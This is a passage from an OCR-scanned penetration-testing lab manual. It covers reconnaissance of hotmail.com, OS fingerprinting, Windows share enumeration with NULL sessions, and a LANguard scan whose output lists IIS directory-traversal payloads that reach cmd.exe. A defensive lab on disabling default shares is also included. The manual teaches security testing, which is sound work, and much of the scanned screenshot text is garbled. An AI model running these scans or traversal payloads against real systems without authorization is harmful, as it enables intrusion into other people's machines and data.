The site is registered through the Wild West Domains, Inc. Registrar.

The site uses the DNS Name servers of NSILTEXNET.NET and NS2L. TEXNET.NET.
In this example the registrant personal information is hidden behind the Wild
West Domains, Inc. The name server information may also provide useful
targets to an attacker.

B An application of Sam Spade is also available for purchase for Windows.

52 Spade - [IP block www.hotmail.com, finished] R =10 x|
File Edit Yiew Window Basics Tooks Help =18 x|
|[srwe-hotmait.com =] = ||| @[0_=]| @[Magic Bl
EDL’LIE/EM 21:56:47 IP block wmww. hotmail. com =
leg [Trying 207.68.171.233 at ARIN
& Trying 207.68.171 at ARIN
Log
OrgName : Microsoft Corp
Copy [OrgID: MSET
B |rddress: One Microsoft Way
ity Redmond
& [frateProv: WA
Fing [PostalCode: 98052
1% jCountry: us
B3
ﬁs etRange: 207.68.128.0 - 207.668.207.255
ICIDR: 207.68.128.0/18, 207.68.192.0/20
,P?;k etName: MICROSOFT-CORE-MSN-BLK
a, etHandle: NET-207-68-128-0-1
og [Parent: NET-207-0-0-0-0
s MNetType: Direct &Allocation
Trace ameServer: DNS1.CP.MSFT.NET
_x‘b ameServer: DNSZ.CP.MSFT.NET
T bameServer: DNS1.TE.MSFT.NET
5»:' ameServer: DNS1.DC.MSFT.NET
ameServer: DNS1.SJ.MSFT.NET
Time [Comment:
RegDate: 1996-03-26
Web IIpdated: 2003-01-15 -
2 Ll e
@ v hotmai com [whoi | 5% wiw.hotmalcom (dns) | &ty www. hotmail.com [whoi | | By www_hatmail.com (I |
[For Help, press F1 o 4
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In this example, the target is http://www.hotmail.com.

+Spade - [whois www.hotmail.com, finished] i - EI|5|
ta File Edit ‘“iew MWindow EBasics Tools Help = ﬂlil
“www.hutmail.[:um j‘ ‘Hla'l[l El@IMagic jl ?2e§|

01/16/04 21:53:52 whels www. hotmalil. com
log |-<om iz a domain of USA & International Commercial
Searches for .com can ke run at http://www, crsnic.net/

|»

Log
mhois -h whols.crsnic.net hotmail.com
Copy

Mhois Server Version 1.3
Paste

Domain names in the .com and .net domains can now be registered
Png mwith many different competing registrars. Go to http://www.internic

M |for detailed information.
DS

HOTMAIL.COM.IS.NOT.AS. 1337.A5. GULLI. COM b
Ry OHATL. COM. AU
Poiy [HOTMAT L. com

whois

og [To single out one record, look it up with "xxx", where xxx iz one <
of the records displayed above. If the records are the same, lock t

Tace myith "=xxx" to receive a full display for each record.

Fin-ge' >»> Last update of whois datakase: Fri, 16 Jan 2004 18:51:54 EST <-

%]

TP

MNOTICE: The expiration date displayed in this record is the date ti
E registrar's sponsorship of the domain name registration in the req:
currently set to expire. This date does not necessarily reflect the
web |date of the domain name registrant's agreement with the sponsoring «

T |d Ll_l
| &) www hotmail com [v ‘
|For Help, press F1 ] [ 4

The results reveal the TP address range owned, the address of the registrant,
the name servers used, and the date registered.

*Note: Keep in mind that this type of information gathering is completely under the
radar and not detected by the target.
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Lab 25: Operating System Identification
Gather OS Runtime and Registered IPs: Netcraft

Prerequisites: None

Countermeasures: None

Description: Determining the target operating system (OS) lets a potential
attacker know what attacks to launch. The http://www.netcraft.com
Web site allows you to retrieve this information.

Procedure: From the http://www.netcraft.com Web site enter the target
hostname or IP.

Netcraft retrieves the latest information about the site entered.

“Z)Netcraft - Microsoft Internet Explorer N 181 x|

File Edit Wew Favorites Took Help ‘

d=Back - = - @) &t | ‘@ search [GFavorites @Media of | BN Sb 54 -
Address [&] http:finews.neteraft.comi =] @0 |unks >
Google - | | @fosearch web - @ysearchsite | 3 | @B~ Shesblocked | joptions -
HETCRAF [
Webserver Search No Microsoft Patch yet for Explorer url hiding Security

what's thatsite running,

Mare than a month after it became widely publicized, a bug in Internet Explorer that
allows fraudsters to obscure the true location of urls remains unpatched. & fix for the
security gap, which is now being routinely used by phishing seams, was not among the
new security updates published Tuesday by Microsoft.

Maore ...

Fosted by richm at 05:24 AM UTC on Jan 14, 2004 in Sscurity | Link to this article |
Subscriba

Interview: 181 Internet CEO Andreas Gauger Around the Net

Subseiibe to Neteralt News |

181 Internet AG is the world's largest hosting company, with 3,5 million hostnarmes and
1.7 millien active sites. On Jan, 22nd, 1&1 will officially launch its US hosting unit, having

e e T T P T
. | free hosting. 1&1 CEO Andreas Gauger recently shared his thinking on the company's US
SR T s ) i rnarket entry and the state of the hosting industry. Gauger founded Schlund in 1995,
Whats thatsite running?!  which was bought by 184 in 1998,
Saarch Web by Dumain}

Sites on the Move!  posted by richm 2t 11:56 PM UTS on Jan 12, 2004 in Arcund the Het, Hesting | Link o this |
L aiae ) cnemine =]

| I 3

@] http:j{uptime. neteraft. com/up/graph?site=wm. netcraft. commods_w=on [ [ 4 nternet s
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In this example the target is http://www.hotmail.com. The results reveal:

B The target is running on Microsoft Windows 2000.
B The target is using IIS 5.0.

B The date this information last changed.

B The IP addresses associated with the target.

B The netblock owner.

3 Netcraft What's That Site Running Results - Microsoft Internet Explorer | 5[

Flle Edit Wiew Favorites Taools  Help |

GBack - = - 74| Dsearch [Favortes veda (4| BN S = - H

Address I@j hitp: /fuptime. neteraft, comjupigraph?site=ww, hotmail.com j #Ga ‘ Links **
Google - | | @psearchweb + @isearchsie | g2 | € - Shesblocked | Foptions L |
Seruar o7 Bl B ondo =
Manitaring
Security
Autematad Display Options: Moving Average: |30 days = Redisplay Graph | Get Confident
Security v
Testing Get it Right
Dedicated Get DataPipe
Server Uptime Summary for www.hotmail.com
Manit
S D\,:”E Note: Uptime - the time since last rebootis explained in the FAQ Time in Days
Application Plotted Value No. samples Max  Latest
Testing & Site Windows 2000 423 21438 5617
Audits
30-day Maving average 1145 2433 24,33

Security
Services FAQ

Uptime
Longest 08, Web Server and Hosting History for www.hotmail.com

WU os Server Last changad 1P address Nethlock Owner
Windows 2000  Microsoft-1I5/5.0  13-Apr-2003 207.68.173.245  Micrasaft Corp
Windows 2000  Microsoft-II8/5,0  18-Apr-2003 207.68171,233  Microsaft Corp

Tap hosting
lacations

,equa’\:::; Windows 2000 Microsoft-118/5.0  18-Apr-2003  207.68,172.23%  Microsoft Corp
sites | windows 2000  Microsoft-1IS/5.0  30-Aug-2001 64.4.45.7 MS Hotrnail
Advertising Windows 2000 unknown 28-Aug-2001 64.4.54.7 M5 Hotrnail
Barner | windows 2000 Microsoft-IIS/5.0  21-Aug-2001 £4,4,93,7 M5 Hotrnail
Ad”e’t‘;;‘;;& Windaws 2000 unknewn 19-Aug-2001 £4,4,44,7 M8 Hatmail ]
B windows 2000 Microsoft-IIS/5.0  1-May-2001 £4.4,54,7 M5 Hotmail
Netcraft windows 2000 Microsoft-IIS/5.0  1-May-2001 64.4.43.7 MS Hotrnail
About Neteraft | Windows 2000 unknown 29-Apr-2001 £4.4.45.7 WS Hotrnail

4| |

»
| &) Done [ | |amternet v

*Note: Bear in mind that this is a good estimation of the current operating system
in use and is overall quite accurate.
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Lab 26: Operating System Identification

Scan Open Ports of Target: Sprint

Prerequisites: None
Countermeasures: None

Description: The Sprint application is used to determine the operating
system (OS) of the target. An attacker uses this information to better
determine what attack or exploit to use against the target.

Procedure: Compile, make, and create the application and run against

the target with the syntax of:

./sprint <options> (Target)

From the directory containing the compressed Sprint file type tar —zxvf

sprint-0.4.tgz.

The files will uncompress and install into a newly created directory named

sprint-0.4.

Change to the new directory by typing cd sprint-0.4 and press Enter.

Compile the application by typing make linux.

B Red Hat Linux - YMware Workstation s

File Edit view %M Team ‘Windows Help

0%

nrepoblBEE BE
[ Home {3 Red Hat Linux I

[ root@localhost:~/tools/sprint/sprint-0.4
File Edit View Terminal Go Help

sprint-0.4/

sprint-0.4/INSTALL
sprint-0.4/Makefile
sprint-0.4/Makefile.arm
sprint-0.4/doc/
sprint-0.4/doc/README
sprint-0.4/doc/README. arm
sprint-0.4/doc/INSTALL
sprint-0.4/doc/CREDITS
sprint-0.4/doc/TODO
sprint-0.4/doc/THANKS
sprint-0.4/prints.db
sprint-0.4/sre/
sprint-0.4/src/main.c
sprint-0.4/sre/sprint.c
sprint-0.4/src/future/
sprint-0.4/sre/future/checksum.c
sprint-0.4/sre/future/trace.c
sprint-0.4/src/future/README
sprint-0.4/src/sprint.h
sprint-0.4/sre/structs.h
sprint-0.4/srec/types.h
[root@localhost sprint]# cd sprint-0.4
[root@localhost sprint-0.4]# make linux

A& Hef

z o Fri Nov 04
11:49 AM

EEmw
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The Sprint application will compile.
To execute the Sprint application against the target to detect the operating
system, type:
./sprint -t (Target IP Address)

Bl Red Hat Linux - YMware Workstation _[al x|

File Edit Yiew WM Team ‘Windows Help

Enlre | Benla

G 000 P

hdroot®localhost:~/tools/

Session Edit View Settings Help

Lol

[root@localhost sprint-0.4.1]# ./sprint -t 172.16.1.40 E
* -—- —- -- Sprint 0.4.1

[Remote system guess : Windows 2000 (172.16.1.40)

[root@localhost sprint-0.4.1]#

AL =

Eemw -

In this example, the target of 172.16.1.40 is operating on Windows 2000.
An attacker will take this information and launch Windows 2000 exploits,
which are attacks against the target.

*Note: The —t option tells Sprint to operate in Active mode. If you need to operate
in Passive mode use the -1 option instead of the —t.
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Lab 27: Default Shares
Disable Default Shares: Windows Operating System

Prerequisites: None
Countermeasures: Host-based firewalls, Restrict Anonymous, Registry

Edit

Description: The default shares for Windows computers can be as useful

to an attacker as the intended user. The default shares of concern are
ADMINS$ and one for each logical disk on the system (C Drive = CS$,
D Drive = D$, etc.) Once an attacker has identified the default shares
a dictionary attack can be attempted against these shares. The objective
of this lab is to disable the default shares.

*Note: Disabling the default shares will render the Microsoft Systems Management

Server (SMS) and potentially other administrative networking tools inopera-
tive as they depend on the default shares for their connectivity. The average
home user should be able to disable these shares without incident. Verify
with the network administrator at the office. This lab concentrates on
countermeasures.

Procedure: Open Control Panel/Administrative Tools/Computer Manage-

ment (or right-click on My Computer and select Manage).

5% Windows 2000 Server - VMware Workstation

File Edit View %M Power Snapshot ‘Windows  Help

=~
i#istart|| | {] @ 53 BX 2| ||[E)computer Management

2 computer Management
on  Wiew Hd— -b|ﬂ|‘@
[[1same
i, System Tools

| “storage

[FaServices and applications

r
5 on
erf s an
v
I Groups
=3 Storags
(L2 Disk Management
: ¢ Disk Defragmenter
= Logical Drives
- @ Removable Storage
{2 services and Applications

[ =T
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Double-click the SHARES to open the shares to the computer and identify
the default shares. In this example, the ADMINS and C$ are the shares of

concern.

51 Windows 2000 Server - VMware Workstation
Snapshot  Windows

B Revert | $T

File Edit Wiew VM Power

i |Es B

_ 8 Windows 2000 Server o
start ||| 71 @ <) @ 2| ||[EIcomputer Management

==
- [ shared path [Type
Windows

CHWINNT
Windaws 0
0

<
Windows

acion  vew || &= = |

Tree | Shared ...
Camputer Management (Lacal) B ADMING
System Tools (=3
1] Event Viewer eI

B3-G8) System InFormation
-] Performance Logs and Alerts
g Shared Folders

=
L] Sessi

<
H §) Open Files
Device Manager
& Local Users and Groups
- &g Storage
(2] Disk Management

I Disk Defragmenter

= Logical Drives

- Removable Storage
+-E88 Services and Applications

Hd=m

Windows 2000 Server - VMware Workstation
Snapshot  Windows

B revert BT

File Edit WView VM Power

o0 e o=
Red Ha Lini =0 [ Windows 2000 server

i start
=10 x|
|

Type the name of 2 pragram, folder, dacument, or
Internet resource, and Windows will open it for you. | Ig | | Qﬁ
[ shared Path [ client Redirection
CAWINNT o
<l o
o

o
o

ok | cancel Browse... |

T B PeTormante Togs S Al
=-k2) Shared Folders
- Shares
& Sessions
&) Open Files
), Device Manager
-4 Local Users and Groups

-5 Storags
¢ -] Disk Management
I8 Disk Defragmenter
=3 Logical Drives

- Removable Storage
a Services and Applications
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Browse to the following:

HKEY_ LOCAL_MACHINE/System/CurrentControlSet/Services/
lanmanserver/parameters

=1 Win dows 2000 Server - VMware Workstation,

File Edit View VM Power Snapshot  Windows  Help

o Rirevet 1 A

Windows 2000 Server v T !l E Lir =
# Registry Editor
Registry  Edit View Favorites Help
1 smServ =] [Mame Type [ Data I
-] Kbdclass (8] (Default) REG_SZ (walue not set)
B-{ kde [&%] autodisconnect REG_DWORD 0x0000000F (15)
e1-(7 KseeDD enableforcediogoff REG_DWORD 0x00000001 (1)
E-C lanmanserve cnablesecuritysignature  REG_DWORD 0500000000 (0)
| Guid REG_BIMARY b1 46 7a Os 55 2F OF 41 35 20 1d 75 5F 66 79 12
Lrnannounce REG_DWORD 0x00000000 {0}
E"jNullSessmnPlDes REG_MULTI_SZ COMNAP COMNODE SQLIQUERY SPOOLSS LLSRPC EP...
[aB)rulisessionshares REG_MULTI_SZ COMCFG DFS§
{1 Security [#%]requiresecuritysignature REG_DWORD 000000000 (0)
2 Shares [2%]size REG_DWORD 0x00000001 (1)
B-{Z3 lanmanwerks,
{1 lbrtfdc
- Licenselnfo
-] LicenseServic
-] LmHosts
-1 Ipends3s
-] Messenger
- mnmdd
-] mnmsrve
- Modem
- Meuclass
-] MountMgr
-] mraid3sx
-] MRxSmb
- MSDTC
BT Msfs
-] MSFTRSWC
- MSIServer
-] MSKSSRY
4]
My ComputeriHKEY_LOCAL_MACHIMNELSYSTEM|CurrentC serverip:
L@

Right-click and select NEW, DWORD value. Enter the name of AutoShare-
Server and enter a value of 0.

= Windows 2000 Server - VMware Workstation

File Edit View VM Power Snapshot  Windows  Help

w(p|e |8 Brever 0 B

Windows 2000 Server

Registry Edit View Favorites Help

J1smSery =] [[Mame [ Type [ Data |
B1-L1 Kbdclass (28] (D ault) REG_SZ (walue not set)
e kde [#%) autadisconnect REG_DWORD 0x0000000F (15)
- KSerhD (&8 enableForcediogoff REG_DWORD 000000001 (1)
E enablesecuritysignature  REG_DWORD 000000000 {0}
Guld REG_BIMARY b1 46 7a Oz 55 2F OF 41 95 20 1d 72 5F 6e 79 12
&)L mannounce REG_DWORD 000000000 ¢0)
[ab]NulSessionPipes REG_MULTI_SZ COMNAP COMNODE SQUYGQUERY SPOOLES LLSRPCEP, .,
(28] NulSessionShares REG_MULTI_SZ COMCFG DFS$
[##]requiresscuritysignaturs  REG_DWORD 000000000 {0}
REG_DWORD 0x00000001 {1}
=+ lanmanworks REG_DWORD 000000000 (0)

1 Ibrtfde
-] Licenselnfo
G- LicenseServic
- LmHosts
-] Ipbnds3s
-] Messenger
- mnmdd
- mnmsrve
#-{_] Modem
- Mouclass
-] MountMagr
-] miraid3sz
(] MRxSmb
- MSDTC
B-( 1 Msfs
- MSFTPSWC
- MSIServer
[

#-{_1] MSKSSRY
4] v

My ComputeriHKEY_LOCAL_MACHINE\SYSTEM|CurrentCantrolsetiSsrvicesianmanssrvsr|par smetsrs

=]
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Right-click and select NEW, DWORD value. Enter the name of AutoShare-
Wks and enter a value of 0. Restart the computer.

51 Windows 2000 Server - Vidware Workstation

File Edit Wiew VM Power Snapshob indows  Help

m [ % & Rrever O 21 B
ot Li Windows 2000 Sorvor 5 N 5 E 5 o
start ||| ff] @ 050 B P || =lcomputer Management | [ Registry Editor o~ e ‘I
;" Registry Editor 3 =1 x|
Reqgistry Edit  ¥isw Favorites  Help
1 Tsmserr [ Type | Data
- kbdclass REG_SZ (walue not set)
1 kde REG_DWORD 0x0000000F (15)
00 KsecdD REG_DWORD 0x000D000L {13
ES-( enenanzerve REG_DW/ORD 0x00000000 (0)
REG_BINARY bl 46 7a Oe 55 2F OF 41 95 20 1d 7e 5F 62 79 12
REG_DWORD 0x00000000 (0
REG_MULTI_SZ COMMAP COMNODE SQLIQUERY SPOOLSS LLSRPC EP
REG_MULTI_SZ COMCFG DFS$
REG_DWORD 0x00000000 (0)
& shares REG_DWORD 0x000D0001 (1
- lanmanmsorks toShareServer REG_DWORD 0=00000000 {0}
0 Iorerde J REG_DW/ORD 0x00000000 (0)
¥ (1 Licenselnfo

E
B2 LicenseServic
-0 LmHosts
B Ipends3s
- Messenger
-0 mnmdd
(0 mnmsrve
-0 Modem
-0 Mouclass
&

£

E

e

[

E

e

e

£ Mountrgr
£ mraid3Ss
{23 MRxSmb
4 [ MsDTC

£ Msfs

£l MSFTPSVC

£ MSIServer

0[] MSKSSRY ™
<l >

My Computer\HKEY_LOCAL_MACHINEYSYSTEMCUrrents

Lo

From the Computer Manager as above check the shares to validate the
default shares are no longer there.

51 Windows 2000 Server - VMware Workstation
File Edit Wiew VM Power Snopshob Windows Help

m e e B Brevere O 1 &

[2 ]I &
SharedF... ~ | shared Path [Tpe
Computer Managemert (Local) B2 1PCH windows o

System Tools

{aa) Event viewer

‘FJ System Information
-4 Performance Logs and Alerts
[=i-h) Shared Folders

e
% Sessions
H &=l Open Files
Device Manager
Local Users and Groups
-5 Sterage
{1 Disk Management
B4 Disk Defragmenter
= Logical Drives
& Removable storage
& Services and Applications

*Note: Chapter 4 will demonstrate how to take advantage of default shares.
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Lab 28: Host Enumeration
Scan Open Ports of Target: WinFingerprint

Prerequisites: NULL session, access to UDP-137, IPX, or NetBEUI

Countermeasures: Host-based firewalls, Restrict Anonymous

Description: The WinFingerprint application is used to enumerate infor-
mation from a target. Information such as ports, services, shares, and
password policies can be obtained. The amount of information
obtained can be greatly reduced if the target has restricted anonymous
(refer to Chapter 1).

Procedure: From the WinFingerprint application enter in the target IP
address or IP range and select the options for the desired results.

Double-click on the WinFingerprint icon to start installation.

..............

The WinFingerprint Setup Wizard begins. Accept the default choices during
the installation by clicking Next throughout the process.

To accept the default answer of Yes when asked to change the number
of ephemeral ports, click Yes.

[Ell Windows 2000 Professional - YMware Workstation

File

me e

Edit  View YM Team ‘indows Help

BN oea a8

", Winfingerprint 0.6.2 Setup 3

Installing
Please wait while Winfingerprint 0.6.2 is being installed.

Qutput Folder: CAWINNTISystem32idriversietclservices

|

Oukput Folder: C:'\Program Files\Winfingerprint

Exkr ".\ Winfingerprint 0.6.2 Setup
Cren

Cre-  winfingerprint can increase the number of ephemeral ports from the default |-
Oub (1024-5000) ta {1024-65534). Would you like bo enable this option?

[Micrasoft 9196271]
= Ho |
Extract: services... 100%

Output Falder: CHWINMT|Swstem 32t drivers\etclservices

Hullsoft Install System v, 06

hlext = | Canicel |

@ 311 PM
S=]= 1T

iastartl | o) @& =2 “ aC:IDDwn\oadSIW\nfingarp‘..“hwmﬁngerprint 0.6.25...
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To accept the default answer of Yes when asked to decrease the amount
of time to release the connections, click Yes.

Windows 2000 Professional - YMware Workst: =101 x|

File Edit View YM Team MWindows Help

MR EEEIEE=E

# Home @Win(luws 2000 Professional Hat Linux

“», Winfingerprint 0.6.2 Setup

Installing
Please wait while Winfingerprint 0.6.2 is being installed.

The highest possible Ephemeral part is [desired walue: 65534],
I

Extract: winfingerprint.exe. .. 100%
“ty, Winfingerprint Setup |-

Winfingerprint can decrease the amount of time it takes to release a
connection from the default of 4 minutes to 30 seconds, Would you like to
Skipp  enable this option? [Microsoft 149532]
Qutp

Extre
Extrz,

CQutput Folder: CYWINNTYSystem32idrivers\etchservices
The highest possible Ephemeral port is [desired value: 65534],

ullsaft InstalllSystem w206

< Back | Hext > | Carnice] |

Mhstart ||| [ @ 3 || S3cDownlossiuinfingerp. .| [&; winfingerprint 0.6.2 5... $@CD siem
=T

To accept the default answer of Yes when asked to decrease the time to
release the client UNC connection, click Yes.

indows 2000 Professional - ¥Mware Workst:

File Edt View %M Team Windows Help

R EE R EE

“w, Winfingerprint 0.6.2 Setup

Installing
Please wait while Winfingerprint 0.6.2 is being installed.

TCP Timed Wait Delay is set ko [desired walue: 30].

|

‘Winfingerprint can decrease the amount of time it takes ko release a client
SkiE UMC connection from the default of 10 minukes ko 10 seconds. Would you like
Ot to enable this option? [Microsoft 149532]

Ext

Cre |
Ext fes Mo

Ot

The highest possible Ephemeral port is [desired value: 65534].
TCP Timed Wait Delay is set ko [desired walue: 30].

Hullsaft Install System w2, 08

= Back | Tiext- = I Caricel I

ﬁstartl J m e &] “ ac:\Duwnloads\winfingerp..‘”%winﬁngerprint 0.6.2 5... (E(—@ 3111 PM

E=mw .
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WinFingerprint will now complete installing. You can read or uncheck the
Show Readme option. Click Finish. WinFingerprint will start.

Bl Windows 2000 Professional - YMware Workstation

File Edit View WM Team Windows Help
e BapoE@E

(3 Windows 2000 Professional [J

=10 x|

Completing the Winfingerprint 0.6.2
Setup Wizard

‘Winfingerprint 06,2 has been installed on your computer,

Click. Finish to close this wizard,

[V Run Winfingerprint 0.6,2

™ Show Readme

< Back I Finish I Cancel I

@ 311 PM
=@

;astart|

& “ aclDDWl"'DadSlWiﬂfng"D--‘"hwinﬁngerprint 0.6.25...

Enter the target IP address, IP range, Subnet, IP list, or Neighborhood.
Select the scan options.

Select if you need a TCP and/or UDP port scan against the target.
Click Scan.

The results will be displayed in the lower window.

Fie B Vew M Team  Widen  Hel

mulyeBonaaon

(v L ELLI) & Peiteie | Pedien e () S e

i, Wrdinerprnd 16,2

Ingest Optisns Scan Cptios |
 wRange T B Lt  Domsin  © Saie Geestory © WHEAPL

1 Singlevost " Raighbirhesd | | Wiad2 OF Verson FF Users % Patch Level Eat
Saarting B Address!

[ a1 @ 5 hall 1PCE Seisions (7 Services |5 MAC Addrass = |

s e  NetBlos Shares B OOUKE [ gassen o
17 . 18 TR F Dste and Tume 7 Growed [ EventLag —I

I~ Metmask ¥ Ping ostin) {gosc e el we |
F Trecerouts st
Ganersl Optians
I™ TCP Partscan Range: 1 1024
Timaont foe TCRAIDRACHRSHIE: F_ I U® Parmscan Range! .

Retress [ Max Conmactions:  [t074 ™ 5HMP Communty Sring:  [public

[=1=] L
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Notice in the next screen that WinFingerprint identified the shares available
on the target.

B e
RulreDaB A 0B

[ e

[y | By
| Wink2 O Version ¥ Lhers  F Paachilevel | Tt

| FF P4 S [ Sarvioes £ MAC address Char

| P Hetl0s e [OOSR Sessiom

| Date srd Tima 7 Groups P Evant Lag

| RPC 3h0m

|Prnghets) g RPE @

LoanpaSarns Loggng
Lenbiaty < TCR/TP NothIGE Melgar Sarvi

Bome

Once the WinFingerprint application has made a NULL session connection
to the target (one of the options) and the Windows Shares have been identi-
fied, an attacker can open Windows Explorer and place in the Address bar
the path represented in the WinFingerprint results. This will reveal the contents
of the shared resource.

wusanal - ¥otenarr Work ot sbian

Pl ES Vew WM Team  wrdee  beb

I IE =

et | L) @ || Cicpokaddwrtegnn. | Bowringmertaiz  [[iimeomevies

Boms .
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Other information obtained by WinFingerprint against the target includes
the following:

The password policy

The hard drives and assigned letters
All MAC addresses

The services running

The usernames on the target

The SID IDs of the users

The RID IDs of the users

The group names on the target

Any RPC bindings

*Note: WinFingerprint is a very reliable and accurate application and the speed at which
it operates is impressive. This scan only took 3.56 seconds to complete.
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Lab 29: Target Scan/Share Enumeration
Scan Open Ports of Target: Angry IP

Prerequisites: None (Optional NULL session prerequisite)

Countermeasures: Host-based firewalls, Restrict Anonymous, deny port
139, 445 outbound

Description: The Angry IP Scanner is used not only to scan a target for
open ports but to attempt to connect to the shared resources.

Procedure: From the Angry IP application enter in the target IP address
or IP range and select the options for the desired results.

From the Angry IP application enter the target TP address.
il
File Edit ¥ew %M Team Windows Help

NN E =

o || G Windows 2000 Professional

- Angry IP Scanner 2.21 (=]

Fle Goto Commands Favorites Options  Utils  Help

Prange: [ 172 . 16 . 1 . 40 g | 172 16 . 1 . o]

Hostriame: [win-2000-v-1 P3| B | | Threads[ 0
P @ i | Ping @ i [Hostname @ &

dstare || 1] @ =3 || Sacipomnioadsiwnfngerp... || angry 1P Scanner 221 oD meaPm
Bemw

Click Options, then click Select Ports and enter the ports you are search-
ing for. Click OK.

7

Enter ports to scan [or use helpers below] _‘!

Parts: |139,445,SD,21 25

— Single port

| Port: | | > Add ]|

—Port range
| Frnm'! to l Add i |

Mote: pleage be patient when scanning ports. [t may
take long if you want to scan too many ports.

Ok I Cancel l
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Click the Start button.

windows 2000 Professional - ¥Mware Workstation

File Edit %ew %M Team Windows Help

njir a|@ e

ngry IP Scanner 2.21 =10 x|
File Goto Commands Favortes Options Ltils Help

IPrange: [ 17216 . 1 a0 w1728 rt -
Hostname: [win-2000--1 P4 | E%r| B | Thieads| 0
[ @ [ Ping i [Hostname @i [ |

start|| | 2] & =2 H G Downloadstwinfingerp... | [ Angry 1P Seanner 2.21 !
Eemw

Once the scan has completed a window will appear identifying the results.
Click OK.

Windows 2000 Professional - ¥Mware Workstation

File Edt ¥ew %M Team ‘Windows Help

%~ Angry IP Scanner 2.21

File Goto Commands Favorites Options Utls  Help
IPrange: [ 17216 . 1 S

Hostname: [fwin-2000- [ peerrm—

P il * Scanning finished
17216.1.40 [ e 1 sec. 1.000 secrhost
[

T7216.1.40 - 172.16.1.40

IPs scanned: 1
Alive hosts: 1
With apen parts: 1

Poits scannec
5/ host. 5 total

3 msopm

start|| (1] @ 51 || C3cipownloadsiwiniingern. .|| Angry 1P Scanner 2.21
A= 0
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Once the scan has completed a results window will appear identifying the
number of IPs scanned, number of targets alive, and number of targets with
open ports.

18 Windows 2000 Professional - ¥Mware Workstation i =[]
Fle Edt Vew WM Team ‘Windows Help

d Hat Linux | |y Red Hat

% Angry IP Scanner 2.21 N

File Goto Commands Favorites Optians Utls Help

IPrange: [ 17216 . 1 RS an

Hostname: [win-2000-4-1 1P| | | e Thlaads‘ 0

IF @i [Fing 4 [Hostname _ @d [ |
17216.1.40 Oms win2(00s-v
Open ports: 139,445,80,21

start|| 7] & 53 || Sacivountoadsiwiingers...|[E=anary 1P scanner 2.21 G BT asien

GEmw

In this example:

Port 21 (FTP [File Transfer Protocol]) is open.
Port 80 (Web) is open.

Port 139 (Windows Share) is open.

Port 445 (Windows Share) is open.
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Right-click on the IP address to bring up a menu; then select OPEN
COMPUTER, then IN EXPLORER.

B Windows 2000 Professional - ¥Mware Workstation

File Edit ‘Wew %M Team ‘Windows Help
njralGohlEa @

@Vﬁll(lows 2000 Professional

—lofx|

| Fle Edt WView Favortes Took Help
| ek - = - g | @search DyFolders sty |5 S X o | B
JAddrEssE\\l?Zlﬁ.l.m =] @eo

=0 O 0 3 @ &

Databases]  Downloads Persanal Printers Scheduled

172.16.1.40 Tasks

Select anitem to view its
description.

5 object(s)

dhstart||| 1] & &2 H (I PownloadsiWifingerp... | zanary 1P Scaner 221 [[E} 17216040 EILD  msapm
EEmy

In this example, the results revealed the following:

The Database directory is shared.

The Downloads directory is shared.

The Personal directory is shared.

There may be Printers shared on the target.

The Windows scheduler is running and may have tasks that can be
modified.

*Note: This example demonstrates a target computer with unprotected shares on
the computer. Many unprotected shares are available on private and personal
networks, and many, many on the Internet.

If the shares ask you for a username/password when attempting to access
them, initiate a NULL session and try again. If the shared resources still ask,
then you must find the username/password for that resource by other means.
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Lab 30: Target Scan/Penetration

Scan Open Ports/Penetration Testing: LANguard winows

Prerequisites: None
Countermeasures: Host-based firewalls
Description: The LANguard application not only scans a target for open
ports and services but has an integrated penetration testing feature that
looks for weaknesses in the target operating system (OS) by running
predefined scripts against the target.
Procedure: From the LANguard application, enter the target IP address,
hostname, or IP range and scan.

13
s

Enter the Target IP address or hostname as the target.

GFI LANguard Network Security Scanner ¥(3.3) (=] 1|
Eile Edit “iew 3Scan Patches Tools LAMguard Tray Help
Q6D EAR| = | @ | T sz
oE af../..%e0%80% El

23] HETBIOS names (3]
€ Usemame : KERMIT
- B8 MAC: 00-0C-29-80-36-65
& Time talive [TTL): 128 [128) - Same network segment
o [ LAM Manager : Windows 2000 LAN Manager
- [ Domain : WORKGROUP
[ Computer usage : Member Server
-l Shares [B)
- f Users ()
[+ B8 Metwork devices (4]
-l Remate TOD (tme of day)
& Password policy
ol % TCF Parts [7)
2} LUDP Ports (4]
Ehe By Alens[13)
= Service Alerts (3]
i | User Administrator [ kermit ] never logged an

| Abuzes (10]

Escaped Characters Decoding Bug
scaped Characters Decoding Bug
nicode Directory Transversal Bug
nicode Directory Transversal Bug
Unicode Directary Transversal Bug (2]
Executable File Parsing Bug
Frantpage check [1)

IS directary traversal

User IUSR_KERMIT [ Intemnet Guest dcoount ] never ||/_uti_bin/shtml .exe
User TsintermetUser [ Tsintemetlser ] never lagged or |~ Frontpage check (3)

af../uinnt/systen32/cnd.exe?/c+dir
- Unicode Directory Transversal Bug
/_vti_bin/..%e8%80%af../ .. %e0%80%
af ../ . %e6%86%

af .. fwinnt/systen32/cmd .exe?/c+dir
- Unicode Directory Transversal Bug
(2)
/scripts/..%cB%af. /. . %cBkaf../..%
co%

af..fuinnt/systen32/cmd.exe?/crdir

- Executable File Parsing Bug
/_vuti_bin/flanscan._bat/._%C1%9C. _%C1%
9C. . %C1%9C. . XC1%0C. . %C1%9C. . BC1%
9C..%C1%
9C/winnt/system32/cnd.exe?foc+dir

- Frontpage check (1)

7/ _vwti_inf.html

- Frontpage check (2)

/_uti_bin/shtml.d11l

- IIS directory traversal
/scripts/. . %cO%af/ . %cl%af/. . %cay
af /. .%co%af/ %oy

af /winnt/system32/cnd .exe?/c+dir+c:
N+ /06

CEI probing Finished.

Scan completed in 22 seconds.
Ready

In this example, the LANguard application has revealed:

The target’s Media Access Control (MAC) address

Currently logged-in user
Shared resources

Users

Installed network cards

Several other pieces of valuable information
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GFI LANguard Network Security Scanner v(3.3)

Edit View Scan Patches Tooks LAMguard Tray Help

=101%|

O B> N ‘ &g -’E‘ H | & | Taue 2152168 142143

<

- Shares (5] -]
-2 IPC$ - Remote IPC

~-@3c

- Z% - Default share

-/ Personal

~2) ADMINS - Remate Admin

-0 CF - Default share

=& Users (8)

- 4% Administrator [ kermit ]

- B Guest

}- Q IUSR_KERMIT [ Internet Guest Account |

- Q Pw/aM_KERMIT [ Launch IS Process Accaunt |
i oscar

- Q TslntermetUser [ Tslntermetlser )

- Network devices [4]

-] Remate TOD (time of day)

(=} [(8 Password policy

= [ Minimum password length : 0 chars

- [ Mavimum password age : 42 days

[ Minimum password age : no delay

- [ Force logoff - never force

-~ [ Password history : 0 passwords

iy TCF Ports (7)

F-#e) 21 [ Ftp => File Trarsfer Protocol |

-9 25( Smtp => Simple Mail Transfer Protocol |
